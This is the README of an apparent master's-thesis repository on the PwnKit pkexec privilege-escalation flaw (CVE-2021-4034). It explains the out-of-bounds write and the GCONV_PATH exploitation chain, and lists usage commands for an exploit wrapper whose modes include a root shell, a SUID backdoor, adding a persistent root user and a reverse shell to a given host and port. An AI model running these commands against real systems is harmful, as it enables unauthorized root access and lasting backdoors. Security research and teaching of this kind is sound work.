
CVE-2021-4034(PwnKit)에 대한 고급 Linux 권한 상승 연구. 7가지 다형성 페이로드 모드(Interactive Shell, Backdoor, User Creation, Reverse Shell 등)를 갖춘 최적화된 익스플로잇을 특징으로 합니다. 메모리 손상 로직, 환경 변수 조작, 안티포렌식 기술에 중점을 둔 포트폴리오 작품.
polkit의 pkexec 유틸리티에서 발생하는 메모리 손상 취약점
로컬 권한 상승 → 경계를 벗어난 쓰기(out-of-bounds write)를 통한 root 획득
영향: polkit 0.105-31 및 이전 버전 · 패치: polkit 0.105-33 (2022년 1월)
CVE-2021-4034 - PwnKit를 통해 획득한 인터랙티브 root 셸
이 저장소는 PwnKit으로 널리 알려진 polkit의 pkexec 유틸리티에서 발생한 높은 심각도(CVSS 7.8)의 로컬 권한 상승 취약점인 CVE-2021-4034에 대한 석사 논문 연구를 포함합니다.
이 취약점은 pkexec의 인자 처리 로직에서 발생하는 **경계를 벗어난 쓰기(out-of-bounds write)**에서 비롯됩니다. pkexec가 비어 있거나 조작된 argv로 실행되면 argv 배열의 경계를 넘어 envp 배열까지 읽고 쓰게 되어, 권한이 없는 로컬 사용자가 악의적인 환경 변수를 주입할 수 있습니다. 이후 이 환경 변수는 공유 라이브러리로 로드되어 root 권한으로 임의 코드가 실행됩니다.
| 측면 | 설명 |
|---|---|
| 멀티 페이로드 익스플로잇 | shell, id, backdoor, reverse shell 등 6가지 페이로드 모드를 지원하는 Python 래퍼 |
| 자동 환경 설정 | GCONV_PATH 자동 구성 및 gconv-modules 자동 설정 |
CVE-2021-4034/
├── README.md # This file
├── LICENSE # MIT License
│
├── exploit/
│ └── pwnkit.py # Advanced exploit with multiple payloads
│
└── docs/
├── screenshots/ # Exploitation demonstrations
│ ├── 01-pwnkit-shell.png
│ ├── 02-pwnkit-id.png
│ ├── 03-pwnkit-whoami.png
│ ├── 04-pwnkit-backdoor.png
│ ├── 05-pwnkit-add-user.png
│ ├── 06-pwnkit-reverse.png
│ └── 07-pwnkit-custom.png
│
└── analysis/
├── 01-root-cause.md # Vulnerability root cause analysis
├── 02-exploitation-chain.md # Exploitation chain breakdown
└── 03-timeline.md # CVE timeline
pkexec --version이 0.105 이하를 표시)apt install gcc)# Interactive root shell (default)
python3 exploit/pwnkit.py -p shell
# Verify execution context
python3 exploit/pwnkit.py -p whoami
# Execute custom command as root
python3 exploit/pwnkit.py -p custom -c "id"
# Create SUID backdoor at /tmp/.sh
python3 exploit/pwnkit.py -p backdoor_suid
# Add persistent root user
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mypassword
# Reverse shell
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444
pkexec는 실행할 프로그램을 찾기 위해 자신의 argv를 처리합니다. argc == 0(빈 인자 벡터)으로 호출되면 argv에 대한 경계 검사가 조용히 실패합니다. 이후 발생하는 경계를 벗어난 읽기는 envp[0]을 argv[1]로 취급하고, envp로 다시 쓰는 경계를 벗어난 쓰기를 통해 공격자는 환경 변수를 조작된 경로로 교체할 수 있습니다. pkexec가 이후 g_printerr()을 호출하면 공격자가 제어하는 환경에서 GCONV_PATH를 로드하여, 공격자가 제공한 공유 라이브러리를 root 권한으로 로드하게 됩니다.
argc == 0 → argv[1] reads envp[0]
argv[1] = "GCONV_PATH=." (writes back into envp)
pkexec loads ./pwnkit.so (attacker-controlled shared library)
gconv_init() executes as root
1. Craft argv = { NULL } → argc = 0, triggers OOB access
2. Set envp[0] = "pwnkit.so:."
3. Set envp[1] = "PATH=GCONV_PATH=."
4. pkexec OOB-writes "pwnkit.so:." into envp[0] as if it were argv[1]
5. pkexec resolves GCONV_PATH=. and loads gconv-modules
6. gconv-modules maps "PWNKIT" charset to pwnkit.so
7. pwnkit.so:gconv_init() called with root privileges
8. Payload executes (shell / backdoor / reverse shell / etc.)







모든 테스트는 네트워크에 노출되지 않은 격리된 VirtualBox VM(Ubuntu 20.04 LTS, 취약한 polkit 0.105-26)에서 수행되었습니다.
이 연구는 여러 환경에서 N-Day 취약점을 분석하는 사이버보안 석사 논문(UCAM — Campus Internacional de Ciberseguridad)의 일부입니다.
이 CVE는 논문에서 Linux 로컬 권한 상승 벡터를 대표하며 다음을 입증합니다:
키워드: LPE · Polkit · pkexec · SUID · GCONV_PATH · CVE-2021-4034 · PwnKit
Annais Molina (devianntsec) — 사이버보안 석사 과정
MIT 라이선스 — LICENSE 참조
이 저장소는 학술 석사 논문의 일부로 교육 및 보안 연구 목적으로만 제공됩니다. 모든 테스트는 네트워크에 노출되지 않은 격리된 가상 머신에서 수행되었습니다. 소유한 시스템 또는 명시적인 서면 승인을 받은 시스템에서만 사용하십시오. 승인되지 않은 시스템에 대한 무단 사용은 불법이며 형사 처벌을 받을 수 있습니다.
| 사후 침투 모듈 | SUID 백도어, root 사용자 생성, 사용자 정의 명령 실행 |
| 학술 문서화 | 근본 원인 분석, 익스플로잇 체인, 취약점 타임라인 |
| 페이로드 | 설명 | 출력 |
|---|
shell | root 권한으로 인터랙티브 /bin/sh 실행 | 인터랙티브 셸 |
id | id 및 whoami 출력을 /tmp/pwnkit_id.txt에 기록 | 파일 |
whoami | UID/eUID 확인 결과를 /tmp/pwnkit_root_test에 기록 | 파일 |
backdoor_suid | /tmp/.sh에 SUID root bash 복사본 생성 | 영구 백도어 |
add_root_user | 사용자 정의 사용자를 /etc/passwd에 추가 | 영구 접근 |
reverse_shell | Python을 통해 공격자에게 역접속 | 원격 셸 |
custom | root 권한으로 임의 명령 실행 | 표준 출력 / 파일 |
| 구성 요소 | 값 | 비고 |
|---|
| 취약 바이너리 | /usr/bin/pkexec | SUID root |
| 트리거 조건 | argc == 0 | 빈 argv |
| 쓰기 프리미티브 | envp로의 OOB 쓰기 | argv[argc-1] 경유 |
| 로드 메커니즘 | GCONV_PATH + gconv-modules | 표준 glibc iconv |
| 실행 컨텍스트 | 공유 라이브러리의 gconv_init() | EUID 0으로 실행 |
| 영향 버전 | polkit ≤ 0.105-31 | 모든 주요 Linux 배포판 |
| 페이로드 | 결과 | 비고 |
|---|
shell | ✅ root 셸 획득 | 즉시 인터랙티브 접근 |
id | ✅ uid=0(root) 확인 | /tmp/pwnkit_id.txt에 출력 |
whoami | ✅ root 확인 | UID/eUID = 0 |
backdoor_suid | ✅ /tmp/.sh에 SUID 비트 설정 | 익스플로잇 이후에도 지속 |
add_root_user | ✅ 사용자 정의 사용자 생성 | 재부팅 후에도 유지 |
reverse_shell | ✅ 연결 수립 | Python 리버스 셸 작동 |
custom | ✅ 임의 명령 실행 | 전체 root 컨텍스트 |
| CVE 타임라인 |
| 발견, 공개, 패치 연대기 |